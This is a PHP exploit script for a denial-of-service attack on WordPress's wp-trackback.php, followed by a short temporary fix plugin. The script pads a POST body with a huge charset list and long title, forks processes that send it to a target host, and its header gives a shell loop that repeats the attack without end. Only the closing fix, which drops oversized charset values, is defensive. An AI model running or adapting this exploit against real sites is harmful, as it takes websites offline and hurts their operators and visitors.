<?php
/*
 * wordpress Resource exhaustion Exploit
 * http://rooibo.wordpress.com/
 * [email protected] contacted and get a response,
 * but no solution available.
 * 
 * [18/10/2009 20:31:00] modified by Zerial http://blog.zerial.org <[email protected]>
 * 
 * exploiting:
 * you must install php-cli (command line interface)
 * $ while /bin/true; do php wp-trackbacks_dos.php http://target.com/wordpress; done
 * 
 */
if(count($argv) < 2)
    die("You need to specify a url to attack\n");
$url = $argv[1];
$data = parse_url($url);
if(count($data) < 2)
    die("The url should have http:// in front of it, and should be complete.\n");
$path = (count($data)==2)?"":$data['path'];
$path = trim($path,'/').'/wp-trackback.php';
if($path{0} != '/')
    $path = '/'.$path;
$b = ""; $b = str_pad($b,140000,'ABCEDFG').utf8_encode($b);
$charset = "";
$charset = str_pad($charset,140000,"UTF-8,");
$str = 'charset='.urlencode($charset);
$str .= '&url=www.example.com';
$str .= '&title='.$b;
$str .= '&blog_name=lol';
$str .= '&excerpt=lol';
for($n = 0; $n <= 5; $n++){
    $fp = @fsockopen($data['host'],80);
        if(!$fp)
        die("unable to connect to: ".$data['host']."\n");
    $pid[$n] = pcntl_fork();
    if(!$pid[$n]){
        fputs($fp, "POST $path HTTP/1.1\r\n");
        fputs($fp, "Host: ".$data['host']."\r\n");
        fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");
        fputs($fp, "Content-length: ".strlen($str)."\r\n");
        fputs($fp, "Connection: close\r\n\r\n");
        fputs($fp, $str."\r\n\r\n");
        echo "hit!\n";
    }
}
?>

<?php

// WP Trackback Temp Fix

function ft_stop_trackback_dos_attacks(){
        global $pagenow;
        if ( 'wp-trackback.php' == $pagenow ){
                // DoS attack fix.
                if ( isset($_POST['charset']) ){
                        $charset = $_POST['charset'];
                        if ( strlen($charset) > 50 ) {  die; }
                }
        }
}
add_action('init','ft_stop_trackback_dos_attacks');

?>